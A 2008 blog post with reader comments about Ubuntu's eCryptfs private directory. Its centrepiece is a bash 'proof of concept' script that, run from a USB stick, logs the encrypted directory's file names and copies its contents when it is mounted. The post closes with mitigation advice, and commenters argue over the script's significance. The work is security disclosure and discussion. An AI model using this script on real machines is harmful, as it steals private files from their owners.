jump to navigation

Proof of concept: Attacking eCrypt Private Directories 6 November, 2008

Posted by aronzak in Encryption, Linux, security, Ubuntu.
Tags: , , , , , , , ,
trackback

In the new version of Ubuntu, Intrepid Ibex, users have the option of setting up a private encrypted directory in their home folder. For convenience, this uses pam to mount it without the need to set and remember a password. This is convenient, and makes cryptography accessible to the non tech savvy, however, convenience is usually at the detriment of security, and this seems to be no exception.

Placing your files in an encrypted home directory can defeat attempts to access the files from other users and live users (with root privileges). It does, however, mark these files out as of interest. Additionally, while the files themselves are encrypted, the file names are not masked, and can be read by a user with sufficient privileges, possible giving an indication of the contents..

Thus, it is possible to simply copy the whole folder off the system if it is left open. That means that if an adversary manages to get physical access to your machine while you are logged in, (even when you are not logged in, if they have your password) they can quickly plug in a usb stick and execute the following script on it. The following is a proof of concept for an attack to copy off the list of file names of the private directory, and if mounted, steal the contents.

#!/bin/bash
# eCrypt Proof of Concept
# Version 0.9 beta
# Aronzak (aronzak.wordpress.com)

echo "Aronzak's eCrypt attack Proof of Concept Beta"

date=`date +%F`
dir=`pwd`
user=`whoami`

mkdir -p $dir/attack/
mkdir -p $dir/attack/manifest
echo "Username:" > $dir/attack/manifest/$date
echo $user >> $dir/attack/manifest/$date
echo "Manifest:" >> $dir/attack/manifest/$date

echo -n "Taking manifest: "
echo $dir/attack/manifest/$date
find ~/.Private >> $dir/attack/manifest/$date

echo -n "Checking if directory is mounted: "

check=`ls -l ~/Private| grep -c "THIS DIRECTORY HAS BEEN UNMOUNTED TO PROTECT YOUR DATA --  Run mount.ecryptfs_private to mount again -> /sbin/mount.ecryptfs_private"`

if [ $check = "1" ]; then
	echo "Foiled once more!"
	echo "Directory was not mounted." >> $dir/attack/manifest/$date
fi
if [ $check = "0" ]; then
	echo "Victory is assured!"
	echo -n "Calculating size of directory: "
	du -hs ~/Private >> $dir/attack/manifest/$date
	size=`cat $dir/attack/manifest/$date | tail -n 1 | cut -f 1`
	echo $size
	gsize=`cat $dir/attack/manifest/$date | tail -n 1 | cut -f 1 | grep -c G`
	if [ $gsize = "1" ]; then
		echo "Warning: This is larger than a gigabyte."
	fi
	echo "Press Ctrl+C to abort: "
	read -s input
	echo -n "Copying: "
	mkdir -p $dir/attack/$date/
	cp -r ~/Private $dir/attack/$date/
	echo "Done"
fi

And this is the expected output if not mounted:

Aronzak's eCrypt attack Proof of Concept Beta
Taking manifest: /home/aronzak/attack/manifest/2008-11-06
Checking if directory is mounted: Foiled once more!

And if mounted:

Taking manifest: /home/aronzak/attack/manifest/2008-11-06
Checking if directory is mounted: Victory is assured!
Calculating size of directory: *****(omitted)
Press Ctrl+C to abort:
Copying: Done

So, this should be able to copy files from one user’s home directory straight to a usb stick. A warning will be given if the files are over one gigabyte.

There are two precautions to avoid this. One is to create ‘junk’ files that take up more than a gigabyte of space. That will make it harder to copy the contents to a usb stick, as it will make it slower, and many usb sticks will not have the space.

The other is to set up eCrypt to use a real password (rather than using a generated one with pam) or upgrade to a stronger system, like truecrypt. It seems that the time honoured approach difficulty of choosing, remembering and typing a sufficiently complicated password pays off when it comes to the security benefit. Also, this gives you access to your files regardless of OS.

Finally, if you are someone that has or intends to write a guide about how to set up eCryptfs-tools, please make it clear that the system is not fully secure.

Advertisements

Comments»

1. aronzak - 6 November, 2008

I’ve previously written a guide on how to set this up. https://aronzak.wordpress.com/2008/11/02/encrypted-home-directory/

2. :// - 8 November, 2008

Well, if the person has physical access to your computer you are screwed no matter what…

3. Tobias Weisserth - 9 January, 2009

Hi Aronzak,

There isn’t any point to what you’re trying to prove. You haven’t really understood how hard disk encryption works, have you?

Hard Disk
|
Partition
|
Encryption
|
File System

When you set up hard disk encryption on a partition level rather than using a file based block device solution (which is in essence just an file based abstraction of the mechanism I am just describing), a partition is created on a hard disk and the raw data on that partition is encrypted. In order for the operating system to be able to create a valid and accessible file system, that can be read from and written to, the encryption device has to be transparent, as file system drivers don’t know how to handle raw encrypted data, since that’s the point of encryption in the first place. So even when you create a new file system on an encrypted partition, it has to be unlocked on system level, so the kernel knows how to create the file system on it. When the file system is created, its data is only in an encrypted state on the partition layer of the “diagram” i put up there. You can regard the file system on top of the encryption device layer as a way to read and write to any data on the partition without knowing about the encryption at all (READ THAT AGAIN SLOWLY AND THINK ABOUT THIS). The file system is totally unaware about the encryption. Instead of talking directly to the UNIX device that accesses the partition on the hard drive it talks to the encryption device instead, regarding it as a valid block device – just like a partition.

So, whenever there is a mounted file system working on an encryption device that is unlocked with an encryption key, accessing an encrypted partition with encrypted raw data, any operating system user with the sufficient file system rights can access any data on that encrypted partition.

I just started using Intrepid’s new “private directory” encryption and as far as I understand it right now, the only fundamental difference between things like dm-crypt setups, TrueCrypt and other solutions, I can see two main differences:

* Each file is encrypted individually. Read this from ecryptfs’ manpage:

“Cryptfs is a POSIX-compliant enterprise-class stacked cryptographic filesystem for Linux. It is derived from Erez Zadok’s Cryptfs, implemented through the FiST framework for generating stacked filesystems. eCryptfs extends Cryptfs to provide advanced key management and policy features. eCryptfs stores cryptographic metadata in the header of each file written, so that encrypted files can be copied between hosts; the file will be decryptable with the proper key, and there is no need to keep track of any additional information aside from what is already in the encrypted file itself. Think of eCryptfs as a sort of “gnupgfs.””

So, just as you noticed, someone with sufficient access to your file system can still see what files were encrypted in this way. Of course, this fact does by no mean render the content of those files vulnerable per se. My personal opinion about this is much what you were probably thinking: this is a useless way to protect your privacy if you want to hide the existence of files rather than just the content of files. However, for many sensitive files, for example anything in ~/.ssh, ~/.gnupg ~/.evolution etc. it’s a very elegant solution.

* Mounting the file system and unlocking the encryption device is mapped to the login process by PAM. I see no principle problem in that. Guessing a blowfish encrypted system password is by no means easier than guessing an AES pass-phrase as created by ecryptfs. So if you assume that the system password is just as random and long as the ecryptfs pass-phrase, that’s by no mean a problem for security. Both tokens might even be identical and that wouldn’t be a problem.

Now, let me explain why your “proof of concept attack” is neither a “proof of concept” nor an “attack” of any, not even the slightest significance.

If there is no mounted file system on the encrypted data, ecryptfs is just as secure as any other hard disk encryption solutions out there. The raw data is unreadable garbage, seemingly random and without meaning if you open any of the encrypted files, for example in a hex editor of your choice. You need to know the pass-phrase OR the user’s system password to gain access to the data.

If there is a file system mounted with access to the data, any user with root privileges or sufficient rights can access any data on any mounted file system, no matter how it was encrypted. Remember what I explained earlier: a mounted file system doesn’t know anything about the underlying encryption. It just provides transparent clear-text access to anyone with sufficient rights to the files. That is always the case for root. In fact, the only way to access either the encrypted or non-encrypted files is to be root, as the bit mask for the permissions of ~/Private and ~/.Private are both 700. The only other way to access data would be using direct read/write actions on the underlying block devices in /dev which would also require root permissions.

So, excuse me to be quite frank, but the script you provided is USELESS JUNK. It doesn’t prove ANYTHING except maybe you had the wrong impression of what hard disk and/or file encryption on a block device level provides.

What you should keep in mind is:

BLOCK DEVICE BASED ENCRYPTION ONLY PROTECTS MY ENCRYPTED DATA AS LONG AS THERE IS NO FILE SYSTEM ATTACHED THROUGH AN ENCRYPTION DEVICE DRIVER.

IF there is an attached (mounted) file system, the door to your data is open through the means your operating system provides. In most UNIX systems, root access is enough to access the data, even if you don’t know the encryption key. The only way to protect your data is to detach (“unmount”) the file system.

Most of the things I explained are true for encryption solutions used in Windows, such as the built in solutions in Vista and such as well as TrueCrypt and certainly most commercial products.

4. aronzak - 9 January, 2009

It is amusing that you spend a long time confusing yourself then affirm my first point. Bear in mind the plausible deniability issue.

It can be easier to get system keys than encryption keys. Usually, you would not enter an encryption key remotely, whereas you would with your user password, leaving you open to keylogging on the remote machine.

If mounting your encrypted data is optional, then there is less chance of someone getting access to the data, because the data is not there for as long.

5. mvaldez - 16 March, 2009

I agree that using the user’ system password to “unwrap” the mount password of the ecrypt directory is one of the weakest point in the Ubuntu implementation of the Private directory.

Also, being the directory name fixed by default, it is far more easier for the attacker to copy exactly those files that the user is trying to protect.

Anyway, I am sure that a very lame/simple attack like this will be effective, just because most users are so easy to trick into giving away their passwords, executing programs sent by email or simply by not using simple measures like password-protected screenshots.

I just hope this will improve over time (for example, now you can have the filenames encrypted too [i think in Ubuntu will be ready for the next version]).

Regards,

MV


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: